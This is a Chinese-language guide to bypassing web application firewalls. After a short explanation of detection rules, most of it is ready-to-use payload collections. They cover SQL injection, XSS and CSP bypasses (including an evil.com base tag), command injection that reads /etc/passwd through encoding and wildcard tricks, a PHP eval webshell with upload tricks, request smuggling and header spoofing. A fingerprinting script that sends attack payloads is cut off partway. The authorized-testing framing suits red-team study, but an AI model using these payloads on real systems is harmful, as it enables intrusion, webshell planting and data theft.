WAF绕过技术实战:从规则检测到编码绕过全指南(2026最新版,附Payload集与自动化脚本)

【提示】 本文所有技术内容仅用于授权测试、安全学习和合规防御研究。未经授权对任何系统进行 WAF 绕过测试属于违法行为,作者及平台不承担任何法律责任。请确保在获得书面授权后开展所有测试活动,并严格遵守《网络安全法》《数据安全法》《个人信息保护法》等相关法律法规。本文旨在帮助防御方理解攻击思路,从而构建更坚固的安全体系。

1. 引言:为什么需要研究 WAF 绕过

Web 应用防火墙(Web Application Firewall,WAF)是当前 Web 安全防御体系的核心组件。根据 OWASP 统计,超过 70% 的企业在其 Web 应用前部署了 WAF。然而 WAF 并非银弹:规则更新滞后、协议解析差异、编码变形空间巨大,使得攻击者总有可乘之机。

研究 WAF 绕过的意义在于:

  • 红队视角:在授权渗透测试中评估 WAF 的实际防护能力,发现规则盲区
  • 蓝队视角:理解攻击者的绕过思路,反向加固 WAF 规则与检测引擎
  • 架构视角:认识 WAF 的能力边界,推动纵深防御而非单点依赖

本文将系统拆解 WAF 的检测机制,并给出 SQL 注入、XSS、命令注入、文件上传等场景下的绕过技术,配合自动化脚本与靶场实战,帮助安全工程师建立完整的 WAF 攻防知识体系。

2. WAF 基础原理

2.1 WAF 定义与部署模式

WAF 工作在 HTTP/HTTPS 应用层,通过对请求与响应内容进行深度检测,识别并拦截 SQL 注入、XSS、命令注入、文件上传等 Web 攻击。不同的部署模式决定了 WAF 的检测位置与覆盖范围。

部署模式 部署位置 透明性 性能开销 适用场景
反向代理 Web 服务器前端,作为反向代理 需改 DNS/路由 标准企业 Web 防护
透明代理 串联在网络链路,二层透明 对应用透明 不便改架构的内网防护
主机 Agent 安装在 Web 服务器本机 单机部署 单机加固、云主机
云 WAF DNS 解析指向云端清洗 改 DNS 即可 云端承担 中小企业、快速接入
旁路镜像 镜像流量异步检测 仅告警不阻断 不影响业务 监控审计、误报评估

2.2 WAF 检测引擎分类

WAF 的核心是其检测引擎,不同引擎决定了绕过难度。

检测引擎 原理 优势 局限 绕过难度
正则匹配 基于正则表达式匹配特征 规则清晰、可定制 表达式有限、易绕过
语义分析 解析为 AST/IR 再分析 抗变形、低误报 性能开销大
机器学习 基于模型识别异常请求 可发现未知攻击 可被对抗样本欺骗
行为分析 基于请求频率/序列分析 检测自动化扫描 难精确拦截单次攻击
信誉评分 结合 IP/UA/Geo 评分 阻断恶意源 需积累数据

2.3 主流 WAF 产品对比

了解主流产品的检测能力有助于制定针对性绕过策略。

WAF 产品 检测引擎 规则集 部署模式 特点
ModSecurity 正则 + 插件 OWASP CRS 反向代理/主机 开源、规则透明
Cloudflare 正则 + ML Managed Rules 云 WAF 全球边缘节点、ML 增强
Akamai 正则 + 行为 Kona Rules 云 WAF 大流量清洗能力
阿里云 WAF 正则 + 语义 自研规则集 云 WAF 国内合规、语义引擎
腾讯云 WAF 正则 + AI 自研规则集 云 WAF AI 引擎、Bot 管理
长亭雷池 语义分析为主 自研 反向代理 语义引擎、低误报
安恒明御 WAF 正则 + 行为 自研 反向代理/透明 国内合规、等保

2.4 WAF 规则集

规则集 来源 维护方 覆盖范围
OWASP CRS 开源社区 OWASP/Coreruleset OWASP Top 10 全覆盖
SNX 规则 商业 各厂商自研 厂商定制场景
自定义规则 用户编写 企业安全团队 业务逻辑防护

2.5 WAF vs IPS vs IDS

这三者常被混淆,理解差异有助于判断绕过目标。

维度 WAF IPS IDS
工作层 应用层(HTTP) 网络层~应用层 网络层~应用层
检测对象 HTTP 请求/响应 全流量报文 全流量报文
部署方式 反向代理/云 串联 旁路
动作 阻断/告警 阻断 仅告警
规则粒度 应用语义 特征签名 特征签名

【提示】 WAF 关注 HTTP 语义,IPS/IDS 关注网络报文特征。WAF 绕过的核心是利用 HTTP 解析与语义理解的差异。

3. WAF 检测机制分析

3.1 请求解析流程

WAF 处理一个 HTTP 请求的完整流程如下,每个环节都可能成为绕过切入点。

复制代码
客户端请求
  │
  ▼
[1] HTTP 协议解析   ── 方法、URI、版本、头解析
  │
  ▼
[2] 分块解码        ── 处理 Transfer-Encoding: chunked
  │
  ▼
[3] 内容解压        ── 处理 Content-Encoding: gzip/deflate
  │
  ▼
[4] 参数解析        ── Query String / Body / Cookie 解码
  │                    URL 解码、HTML 解码、Base64 解码
  │
  ▼
[5] 规则匹配        ── 正则 / 语义 / ML 引擎匹配
  │
  ▼
[6] 动作执行        ── 阻断 / 告警 / 记录 / 验证码 / 挑战
  │
  ▼
后端应用

绕过的核心思路:让 WAF 在 1~4 解析出的内容"无害",而后端应用解析出的内容"有害"。这种解析差异是几乎所有 WAF 绕过的根本原理。

3.2 正则表达式检测原理(OWASP CRS 解析)

以 OWASP CRS 检测 SQL 注入的规则为例:

复制代码
SecRule ARGS|REQUEST_HEADERS|!REQUEST_HEADERS:Referer \
    "@rx (?i)(?:union\s+(?:all\s+)?select|select\s+.*\s+from|insert\s+into|drop\s+table|update\s+.*\s+set|delete\s+from)" \
    "id:942100,\
    phase:2,\
    t:none,t:urlDecodeUni,t:normalizePathWin,t:lowercase,\
    msg:'SQL Injection Attack Detected',\
    logdata:'Matched Data: %{MATCHED_VAR}',\
    severity:CRITICAL,\
    ctl:auditLogParts=+E"

该规则关键点:

  • (?i) 大小写不敏感,故简单大小写混写无效
  • t:urlDecodeUni 会先做 URL 解码与 Unicode 解码,故单层 URL 编码无效
  • t:lowercase 转小写后匹配
  • 匹配 union selectselect...from 等组合特征

【提示】 绕过正则规则的关键:破坏特征词的连续性(注释/换行/等价函数),或使用规则未覆盖的等价语法。

3.3 语义分析与机器学习检测

语义分析引擎会将 SQL 语句解析为抽象语法树(AST),再判断是否符合注入语义。例如将 1' union select 1,2,3 -- 解析后识别为多语句联合查询。机器学习引擎则基于大量正常/恶意请求训练分类模型。

引擎类型 检测逻辑 绕过思路
语义分析 解析为 AST,判断注入语义 构造语法合法但语义等价的变形
机器学习 特征向量分类 拟合正常分布、降低异常分数

3.4 WAF 动作分类

动作 行为 HTTP 响应特征 场景
阻断(Block) 拦截请求 403/406/自定义页 高置信度攻击
告警(Alert) 放行并告警 200 正常 低置信度、灰度
记录(Log) 仅记录不干预 200 正常 审计分析
验证码(CAPTCHA) 返回验证挑战 302/200 自动化扫描防护
挑战(Challenge) JS/cookie 挑战 503/JS 跳转 Bot 识别
限速(Rate Limit) 超限拒绝 429 暴力破解防护

3.5 完整规则解析示例

下面是一条 ModSecurity 规则的逐字段解析:

复制代码
SecRule REQUEST_URI|ARGS|REQUEST_HEADERS "@rx (?i)(?:<script|onerror\s*=|javascript:|<img[^>]+src)" \
    "id:941110,\
    phase:2,\
    block,\
    t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhitespace,\
    msg:'NoScript XSS InjectionChecker: Script Tag',\
    tag:'application-multi',tag:'language-html',\
    severity:CRITICAL"
字段 说明
匹配目标 REQUEST_URI/ARGS/HEADERS 检测 URI、参数、请求头
正则 script/onerror/javascript:/img src XSS 特征
id 941110 规则唯一标识
phase 2 请求体阶段匹配
转换 urlDecodeUni/htmlEntityDecode 先 URL 解码、HTML 实体解码
动作 block 阻断
严重度 CRITICAL 严重等级

4. SQL 注入 WAF 绕过

4.1 注释绕过

利用 SQL 注释的多种形式破坏关键字连续性。

注释类型 形式 示例
内联注释 /**/ sel/**/ect
嵌套注释 /*/**/*/ sel/*/**/*/ect
条件注释 /*!...*/ /*!50000select*/
行注释 --# 1 -- 、1%23
复制代码
原payload:union select 1,2,3
注释绕过:union/**/select/**/1,2,3
嵌套绕过:union/*/**/*/select/*/**/*/1,2,3
条件注释:/*!50000union*//*!50000select*/1,2,3

4.2 编码绕过

编码方式 编码示例 解码后
URL 编码 %73elect select
双重 URL %2573elect%73elect select
Hex 编码 0x73656c656374 select(字符串)
Char 编码 char(115,101,108,101,99,116) select
Unicode %u0073elect select
Base64 c2VsZWN0 select

4.3 等价函数替换表

MySQL 中存在大量等价函数,可绕过基于关键字的检测。

原函数/关键字 等价替换 说明
sleep(5) benchmark(50000000,sha1(1)) 时间盲注延时
sleep(5) get_lock('a',5) 基于锁的延时
substr() mid()substring() 截取字符串
ascii() ord() 取 ASCII 值
concat() group_concat()concat_ws() 字符串连接
information_schema sys schema、mysql.innodb_table_stats 元数据查询
user() @@hostnamecurrent_user()system_user() 当前用户
database() schema() 当前数据库
version() @@version@@global.version 版本信息
= likerlikeinbetweenregexp 比较运算
and &&& 逻辑与
or `
union union distinctunion all 联合查询

4.4 空格绕过

绕过字符 说明 示例
/**/ 内联注释 union/**/select
%0a 换行 union%0aselect
%09 Tab union%09select
%0b 垂直 Tab union%0bselect
%0c 换页 union%0cselect
%a0 不间断空格 union%a0select
+ URL 空格 union+select
() 括号 union(select(1))
反引号 系统函数 unionselect``

4.5 关键字绕过

技术 形式 示例
大小写混写 改变大小写 sELectUnIoN
双写 重复关键字 selselectect(过滤 select 后剩余 select
嵌套 内联注释包裹 un/**/ionse/**/lect
having 替换 无 union 报错 1' having 1=1--
` ` 替换

4.6 HPP(HTTP 参数污染)

利用后端对重复参数处理差异绕过。

复制代码
WAF 看到:id=1&id=union select 1,2,3
后端取值:id=1 union select 1,2,3  (ASP.NET 取拼接,PHP 取最后一个)
后端语言 重复参数取值 利用方式
ASP.NET 逗号拼接 id=1/*&id=*/union select
PHP 取最后一个 id=1&id=union select
Java 取第一个 id=union/*&id=*/select
Python 取第一个 同 Java

4.7 分块传输绕过

利用 Transfer-Encoding: chunked 让 WAF 不组装完整请求。

复制代码
POST /inject.php HTTP/1.1
Transfer-Encoding: chunked

3
unio
3
n s
3
ele
2
ct
0

4.8 SQL 注入 WAF 绕过 Payload 集

复制代码
# 注释绕过
union/**/select/**/1,2,3
union/*/**/*/select/*/**/*/1,2,3
/*!50000union*//*!50000select*/1,2,3
union%0aselect%0a1,2,3
union%09select%091,2,3
union%0bselect%0b1,2,3
union%0cselect%0c1,2,3
union%a0select%a01,2,3
union(select(1),(2),(3))
un/**/ion/**/sel/**/ect/**/1,2,3

# 编码绕过
0x73656c656374 (hex select)
char(115,101,108,101,99,116) (char select)
%75nion %73elect 1,2,3
UNIunionON SELselectECT 1,2,3 (双写)
%u0075nion %u0073elect 1,2,3 (unicode)

# 等价函数
and (select 1 from(select benchmark(50000000,sha1(1))a)=1)
and (select 1 from(select sleep(5))a)=1) -- benchmark/sleep等价
select mid(user(),1,1) -- substr等价
select ord(mid(user(),1,1)) -- ascii等价
select group_concat(table_name) from sys.schema_table_statistics
select table_name from mysql.innodb_table_stats where database_name=database()

# 空格绕过
union(select(1),(2),(3))
union`select`1,`2`,`3`
select(group_concat(table_name))from(information_schema.tables)
1'unun//ionion sel//ect 1,2,3-- -
1'union%a0select%a01,2,3%23

# 关键字绕过
1' having 1=1-- -
1'||'1'='1
1'&&'1'='1
1' un/**/ion a/**/ll sel/**/ect 1,2,3-- -
1'uni%0aon se%0alect 1,2,3%23

# 报错注入绕过
1' and extractvalue(1,concat(0x7e,(select user())))-- -
1' and updatexml(1,concat(0x7e,(select user())),1)-- -
1' and (select 1 from(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
1' and exp(~(select * from(select user())a))-- -
1' and (select * from(select bind_address from mysql.user)a)-- -

# 布尔盲注绕过
1'&&mid(user(),1,1)='r'-- -
1'&&ord(mid(user(),1,1))=114-- -
1'&&substr((select user()),1,1)like'r'-- -
1'&&left(user(),1)like'r'-- -

# 时间盲注绕过
1'&&if(1=1,sleep(5),0)-- -
1'&&if(mid(user(),1,1)='r',benchmark(50000000,sha1(1)),0)-- -
1'&&case when(mid(user(),1,1)='r')then sleep(5)else 0 end-- -
1'&&(select*from(select sleep(5))a)-- -

# HPP
?id=1/**/&id=union/*&id=*/select/*&id=*/1,2,3
?id=1&id=union select 1,2,3 (php取最后)

【提示】 实战中应先用等价函数测试哪些被过滤,再组合多种技术。从最简单的注释绕过开始,逐步升级到编码+等价函数组合。

5. XSS WAF 绕过

5.1 标签绕过

script 标签被过滤,可使用大量支持事件或可执行 JS 的标签。

原标签 替代标签 触发方式
<script> <img src=x onerror=...> 图片加载错误
<script> <svg onload=...> SVG 加载
<script> <body onload=...> body 加载
<script> <iframe src=javascript:...> iframe
<script> <video src=x onerror=...> 视频错误
<script> <audio src=x onerror=...> 音频错误
<script> <details open ontoggle=...> details 切换
<script> <marquee onstart=...> marquee 开始
<script> <textarea onfocus=... autofocus> textarea 聚焦
<script> <svg><animate onbegin=...> SVG 动画开始

5.2 事件绕过

原事件 替代事件
onerror onloadonclickonmouseover
onerror ontoggle(details)
onerror onfocus(input/textarea)
onerror onanimationstart(CSS 动画)
onerror onpointerenterontouchstart

5.3 编码绕过

编码方式 编码示例 解码后
HTML 实体 &lt;script&gt; <script>
十进制 &#60;script&#62; <script>
十六进制 &#x3c;script&#x3e; <script>
Unicode \u003cscript\u003e <script>
JSFuck [][(![]+[])... 任意 JS
复制代码
<img src=x onerror=alert(1)>
<img src=x onerror=&#97;lert(1)>              # HTML实体
<img src=x onerror=&#x61;lert(1)>              # 十六进制实体
<svg/onload=alert(1)>
<svg/onload=aler\u0074(1)>                      # Unicode
<img src=x onerror=eval(atob('YWxlcnQoMSk='))> # Base64
<img src=x onerror=eval(name)>                  # name属性

5.4 过滤绕过

技术 形式 示例
双写 重复关键字 scrscriptipt(过滤后剩 script)
大小写混写 改变大小写 ScRiPt
空格插入 标签内插空格 <script x>alert(1)</script>
斜杠插入 标签内插斜杠 <script/x>alert(1)</script>
注释插入 内联注释 <scri<!-- -->pt>alert(1)</script>
编码插入 实体编码 &lt;script&gt;

5.5 CSP 绕过

当目标部署了内容安全策略(CSP),需利用 CSP 允许的源。

CSP 绕过 技术原理 示例
CDN 利用 利用白名单 CDN jquery CDN 加载恶意 JS
JSONP 利用白名单 JSONP 接口 ?callback=alert(1)//
Angular 模板注入 利用白名单 angular {``{constructor.constructor('alert(1)')()}}
base 标签 改变相对路径源 <base href=//evil.com>
name 属性 window.name 跨域传值 window.name 注入
CDN 覆盖 覆盖 CDN 上的库 prototype 污染

5.6 XSS WAF 绕过 Payload 集

复制代码
# 标签绕过
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<svg><animate onbegin=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<video><source onerror=alert(1)>
<a href=javascript:alert(1)>x</a>
<form><button formaction=javascript:alert(1)>x</button></form>
<isindex action=javascript:alert(1) type=submit>
<img src=x:alert(alt) onerror=eval(src) alt=Xss>
<svg><script>alert(1)</script></svg>

# 事件绕过
<img src=x onerror=alert(1)>
<img src=x onload=alert(1)>
<img src=x onclick=alert(1)>
<img src=x onmouseover=alert(1)>
<details open ontoggle=alert(1)>
<input onfocus=alert(1) autofocus>
<svg><animateMotion onbegin=alert(1)>
<style>@keyframes x{from{opacity:0}to{opacity:1}}div{x:1}</style>
<div style=animation:x onanimationstart=alert(1)>

# 编码绕过
<img src=x onerror=alert(1)>
<img src=x onerror=&#97;lert(1)>
<img src=x onerror=&#x61;lert(1)>
<img src=x onerror=eval(name)>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<img src=x onerror=eval('\u0061lert(1)')>
<svg/onload=eval(atob('YWxlcnQoMSk='))>
<a href="javascript:alert(1)">x</a>
<a href="java&Tab;script:alert(1)">x</a>
<a href="jav&#x09;ascript:alert(1)">x</a>

# 过滤绕过
<scrscriptipt>alert(1)</scrscriptipt>
<ScRiPt>alert(1)</ScRiPt>
<script x>alert(1)</script>
<script/x>alert(1)</script>
<script/*>alert(1)</script>
<scri<!-- -->pt>alert(1)</scri<!-- -->pt>
<img/src=x/onerror=alert(1)>
<img src=x:onerror=alert(1)>

# CSP绕过
<script src=//cdn.jquery.com/jquery.js></script> (CDN)
<script src=//allowed.com/jsonp?callback=alert(1)//></script> (JSONP)
<div ng-app>{{constructor.constructor('alert(1)')()}}</div> (Angular)
<base href=//evil.com> (base)
<img src=x onerror=eval(name)> window.name=alert(1)

6. 命令注入 WAF 绕过

6.1 命令分隔符绕过

分隔符 说明 示例
; 顺序执行 id;whoami
` ` 管道
` `
&& 逻辑与 id&&whoami
& 后台执行 id&whoami
%0a 换行 id%0awhoami
%0d 回车 id%0dwhoami
%0a%0d CRLF id%0a%0dwhoami

6.2 命令替换表

原命令 替换命令 说明
cat tacmorelessheadtail 读文件
cat stringsxxdod -c 二进制方式读
ls dirfindecho * 列目录
id whoamiwho am i 身份
whoami id 身份
ifconfig ip addr 网络配置
uname -a cat /proc/version 系统信息

6.3 编码绕过

复制代码
# Hex编码
echo -ne "\x63\x61\x74" | sh        # cat

# Octal编码
echo -ne "\143\141\164" | sh        # cat

# Base64编码
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh    # cat /etc/passwd

# $()执行
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)     # cat /etc/passwd

6.4 通配符绕过

利用 shell 通配符匹配绕过关键字检测。

复制代码
# 通配符
/???/??t /???/??ss??       # /bin/cat /etc/passwd
/???/??? /????/??ss??      # /bin/cat /etc/passwd
/???/??t /???/??ssw?       # /bin/cat /etc/passwd
/b??/c?t /e??/p??swd      # /bin/cat /etc/passwd

6.5 变量绕过

变量 含义 示例
$IFS 内部字段分隔符(空格/Tab/换行) cat$IFS/etc/passwd
${IFS} 同上 cat${IFS}/etc/passwd
$9 第9个位置参数(空) cat$9/etc/passwd
$@ cat$@/etc/passwd

6.6 反引号与 $() 绕过

复制代码
# 反引号
`cat /etc/passwd`
w`h`o`a`m`i                  # whoami(拼接)

# $()命令替换
$(cat /etc/passwd)
$(w`h`oami)                 # whoami

# 变量拼接
a=ca;b=t;$a$b /etc/passwd  # cat /etc/passwd
a=c;b=at;$a$b /etc/passwd

6.7 命令注入 WAF 绕过 Payload 集

复制代码
# 分隔符
;id
|id
||id
&&id
&id
%0aid
%0did
%0a%0did
%0a%0did

# 命令替换
;whoami
|tac /etc/passwd
|more /etc/passwd
|less /etc/passwd
|head /etc/passwd
|tail /etc/passwd
|strings /etc/passwd
|xxd /etc/passwd
|od -c /etc/passwd
|dir
|find / -name *.txt

# 编码
;echo -ne "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | sh
;echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
;$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)
;`echo Y2F0IC9ldGMvcGFzc3dk | base64 -d`

# 通配符
;/???/??t /???/??ss??
;/???/??t /????/??ss??
;/???/??t /???/??ssw?
;/b??/c?t /e??/p??swd
;/???/??? /????/??ss??

# 变量
;cat$IFS/etc/passwd
;cat${IFS}/etc/passwd
;cat$9/etc/passwd
;cat$@/etc/passwd
;cat$IFS$9/etc/passwd

# 拼接
;a=ca;b=t;$a$b /etc/passwd
;a=c;b=at;$a$b /etc/passwd
;w`h`o`a`m`i
;`w`h`o`a`m`i`
;$(w`h`oami)

# 反引号与$()
;`cat /etc/passwd`
;$(cat /etc/passwd)
;`w`h`o`a`m`i`
;$(whoami)

7. 文件上传 WAF 绕过

7.1 Content-Disposition 绕过

技术 形式 示例
filename 变换 改写为 filename= filename="shell.php"
多 filename 多个 filename 头 不同服务器取值不同
编码 filename URL/Base64 filename=%73hell.php
双引号 双引号 filename="shell.php"
单引号 单引号 filename='shell.php'
无引号 无引号 filename=shell.php
复制代码
# filename变换
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Disposition: form-data; name="file"; filename=shell.php
Content-Disposition: form-data; name="file"; filename='shell.php'
Content-Disposition: form-data; name="file"; filename="shell.php";

# 多filename
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Disposition: form-data; name="file"; filename="shell.php"

# 编码filename
Content-Disposition: form-data; name="file"; filename="shell%2Ephp"
Content-Disposition: form-data; name="file"; filename*=utf-8''shell.php

7.2 Content-Type 绕过

复制代码
Content-Type: application/octet-stream        # 通用二进制
Content-Type: image/jpeg                       # 伪装图片
Content-Type: image/png
Content-Type: image/gif
Content-Type: text/plain                       # 伪装文本
Content-Type: application/x-php                # php类型

7.3 boundary 绕过

复制代码
# 变换boundary大小写
Content-Type: multipart/form-data; boundary=----Boundary
Content-Type: multipart/form-data; BOUNDARY=----Boundary

# 重复boundary头
Content-Type: multipart/form-data; boundary=----A
Content-Type: multipart/form-data; boundary=----B

# boundary前缀垃圾数据
------Boundary
垃圾数据填充
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"

7.4 数据混淆绕过

复制代码
# 大量垃圾数据(超出WAF检测长度限制)
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

AAAA...(10MB垃圾数据)...
<?php @eval($_POST['cmd']);?>

# 分块传输
Transfer-Encoding: chunked

# 多部分嵌套
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: multipart/form-data; boundary=--Inner

----Inner
Content-Disposition: form-data; name="file"; filename="shell.php"

<?php @eval($_POST['cmd']);?>
----Inner--
------Boundary--

7.5 文件名绕过

技术 示例 说明
空格 shell .php 末尾空格
shell.php. 末尾点
特殊字符 shell.p*hp 通配
双扩展名 shell.php.jpg Apache 解析
大小写 shell.PHPshell.PhP 大小写
空字节 shell.php%00.jpg 截断
空格点 shell.php . Windows

7.6 文件上传 WAF 绕过 Payload 集

复制代码
# Content-Disposition变换
Content-Disposition: form-data; name="file"; filename=shell.php
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Disposition: form-data; name="file"; filename='shell.php'
Content-Disposition: form-data; name="file"; filename="shell.php";
Content-Disposition: form-data; name="file"; filename=shell%2ephp
Content-Disposition: form-data; name="file"; filename*=utf-8''shell.php
Content-Disposition: form-data; name="file"; xfilename="shell.php"

# 多filename
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Disposition: form-data; name="file"; filename="shell.php"

# Content-Type变换
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: application/octet-stream
Content-Type: text/plain
Content-Type: application/x-php

# 文件名绕过
filename="shell.PHP"
filename="shell.PhP"
filename="shell.php "
filename="shell.php."
filename="shell.php.jpg"
filename="shell.php%00.jpg"
filename="shell.p.hp"
filename="shell.php::$DATA"      # Windows NTFS流

# boundary绕过
Content-Type: multipart/form-data; BOUNDARY=----Boundary
Content-Type: multipart/form-data; boundary=----Boundary; boundary=----B
Content-Type: multipart/form-data; boundary=----Boundary

# 数据混淆
Content-Disposition: form-data; name="file"; filename="shell.php"
(大量垃圾数据填充10KB+)
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']);?>

# 分块传输
Transfer-Encoding: chunked
4
POST
0

# 图片马绕过(绕过内容检测)
GIF89a
<?php @eval($_POST['cmd']);?>
保存为 shell.gif,配合 Apache 解析漏洞

# .htaccess绕过
AddType application/x-httpd-php .gif
配合上传 .gif 内含 php 代码

# .user.ini绕过
auto_prepend_file=shell.jpg
配合上传 shell.jpg 内含 php 代码

8. 通用 WAF 绕过技术

8.1 HTTP 方法绕过

某些 WAF 仅检测 GET/POST,切换方法可绕过。

原方法 替换方法 说明
GET POST 切换为 POST
POST PUT PUT 方法
POST DELETE DELETE 方法
POST PATCH PATCH 方法
POST CUSTOM 自定义方法

8.2 协议绕过

协议 说明 绕过原理
HTTP/0.9 无头简单响应 WAF 可能不解析
HTTP/2 二进制分帧 WAF 可能不解析帧
HTTP/3 QUIC/UDP WAF 可能不支持
WebSocket 全双工 WAF 可能不检测

8.3 请求走私绕过

利用前后端对 Content-Length(CL)与 Transfer-Encoding(TE)解析差异。

类型 原理 利用方式
CL.TE 前端用 CL,后端用 TE TE 分块,CL 截断
TE.CL 前端用 TE,后端用 CL CL 截断,TE 分块
TE.TE 双方都 TE 但有歧义 变形 TE 头
复制代码
# CL.TE请求走私
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

8.4 分块传输绕过

复制代码
# 标准chunked
Transfer-Encoding: chunked

5
hello
0

# 变形chunked(绕过WAF识别)
Transfer-Encoding: chunked
Transfer-Encoding: x

5
hello
0

# 末尾chunk省略
Transfer-Encoding: chunked

5
hello
(无0结尾,部分服务器接受)

# chunked+非标准
Transfer-Encoding: chunked, identity

8.5 其他通用绕过

技术 原理 示例
Pipeline 管道多个请求 一次发送多个请求
Content-Length 差异 CL 与实际不符 误导 WAF 截断
Host 头绕过 改 Host 头 直连源站
X-Forwarded-For 改 XFF 头 伪装可信 IP
复制代码
# Host头绕过(绕过云WAF直连源站)
Host: origin.example.com
# 通过真实IP直连,绕过云WAF

# X-Forwarded-For绕过(伪装可信IP)
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 10.0.0.1
X-Real-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1

# Pipeline绕过
Connection: keep-alive
(一次TCP连接发送多个请求,部分WAF只检测第一个)

# Content-Length差异
Content-Length: 0
(实际发送长body,误导WAF认为空请求)

9. 编码与混淆技术

9.1 编码方式对比表

编码方式 编码示例 WAF 解码层 后端解码 绕过要点
URL 编码 %73elect urlDecodeUni 浏览器/应用 单层易被解码
双重 URL %2573elect 仅一层 多层解码 利用解码次数差
Unicode %u0073elect unicode 解码 部分应用 IIS 宽字节
HTML 实体 &#x73;elect htmlEntityDecode 浏览器 XSS 场景
Base64 c2VsZWN0 一般不解码 应用层 配合 eval
Hex 0x73 不解码 SQL 层 SQL 注入
Octal \163 不解码 SQL/C 命令注入
UTF-7 +ADw-script+AD4- 不解码 IE 旧 IE XSS
JSFuck [][(![]+[])... 不解码 JS 引擎 XSS

9.2 多层编码链

组合多种编码,使 WAF 解码层数不足。

复制代码
原始:union select
URL编码:union%20select
双重URL:union%2520select
Unicode+URL:%u0075nion%20select
Hex+URL:0x75nion%20select

# 链式解码
原始:alert(1)
Base64:YWxlcnQoMSk=
URL编码Base64:YWxlcnQoMSk%3D
eval(atob('YWxlcnQoMSk%3D'))

9.3 Unicode 规范化利用

利用 Unicode 规范化(NFKC)将全角字符转为半角,或利用同形字符。

复制代码
SELECT  (全角,NFKC后变 SELECT)
ℰ (特殊Unicode,部分解析器接受)

9.4 字符集混淆

技术 原理 示例
charset 变换 改变字符集 Content-Type: text/html; charset=ibm037
Accept-Charset 改变接受字符集 不同编码下 WAF 解析差异
编码检测差异 WAF 与应用解码不同 宽字节注入 %bf%27

9.5 编码绕过完整方案

复制代码
# SQL注入多层编码
原始:union select 1,2,3
方案1:union/**/select/**/1,2,3 (注释)
方案2:un%69on%20sel%65ct (混合URL+注释)
方案3:0x75nion select (hex)
方案4:%u0075nion%20select (unicode)

# XSS多层编码
原始:<script>alert(1)</script>
方案1:<img src=x onerror=alert(1)> (标签替换)
方案2:<svg onload=eval(name)> (事件+name)
方案3:<img src=x onerror=eval(atob('YWxlcnQoMSk='))> (Base64)
方案4:<svg/onload=eval('\u0061lert(1)')> (Unicode)

# 命令注入多层编码
原始:cat /etc/passwd
方案1:cat$IFS/etc/passwd (变量)
方案2:/???/??t /???/??ss?? (通配符)
方案3:echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh (Base64)
方案4:a=ca;b=t;$a$b$IFS/etc/passwd (拼接)

10. WAF 指纹识别

10.1 指纹识别方法表

识别方法 原理 常见特征
响应头 Server/X-Powered-By 头 Server: cloudflare
Cookie 特定 Cookie 名 __cfduid
状态码 拦截状态码 403/406/999/429
响应内容 拦截页特征 "security rules"
行为差异 挑战行为 JS 挑战、验证码

10.2 wafw00f 使用

wafw00f 是最常用的 WAF 识别工具。

bash 复制代码
# 安装
pip install wafw00f

# 基本使用
wafw00f https://example.com

# 详细模式
wafw00f -v https://example.com

# 列出支持检测的WAF
wafw00f -l

# 输出示例
# [✓] Cloudflare detected

10.3 手动指纹识别技巧

bash 复制代码
# 发送恶意payload观察拦截
curl -s -o /dev/null -w "%{http_code}" https://example.com/?id=1+union+select

# 观察响应头
curl -sI https://example.com

# 观察拦截页面
curl -s https://example.com/?id=1' or 1=1--

10.4 各 WAF 指纹特征表

WAF 响应头/Cookie 状态码 拦截页特征
Cloudflare Server: cloudflare__cfduid 403/503 "Attention Required"
ModSecurity Server: ApacheX-Mod-Security 403/406 "Mod_Security"
阿里云 WAF Server: Tenginex-sg 405 拦截页
长亭雷池 Server: SafeLine 403 "雷池"
Akamai Server: AkamaiGHost 403 "Reference"
F5 Server: BigIP 403 "The requested URL"

10.5 WAF 指纹识别脚本

python 复制代码
#!/usr/bin/env python3
import requests
import sys

WAF_SIGNATURES = {
    "Cloudflare": {
        "headers": ["server: cloudflare", "cf-ray"],
        "cookies": ["__cfduid", "__cf_bm"],
        "body": ["attention required", "cf-browser-verification"],
        "status": [403, 503]
    },
    "ModSecurity": {
        "headers": ["mod_security", "modsecurity"],
        "body": ["mod_security", "ModSecurity"],
        "status": [403, 406]
    },
    "Akamai": {
        "headers": ["server: akamaighost", "akamai"],
        "body": ["reference", "akamai"],
        "status": [403]
    },
    "Aliyun WAF": {
        "headers": ["server: tengine", "x-sg"],
        "body": ["error", "blocked"],
        "status": [405, 403]
    },
    "SafeLine (长亭)": {
        "headers": ["server: safeline"],
        "body": ["雷池", "safeline"],
        "status": [403]
    }
}

def identify_waf(url):
    payloads = [
        "?id=1' union select 1,2,3-- -",
        "?q=<script>alert(1)</script>",
        "?cmd=;cat /etc/passwd"
    ]
    detected = set()
    
    for payload in payloads:
        try:
            target = url.rstrip('/') + '/' + payload.lstrip('/')
            r = requests.get(target, timeout=10, allow_redirects=False)
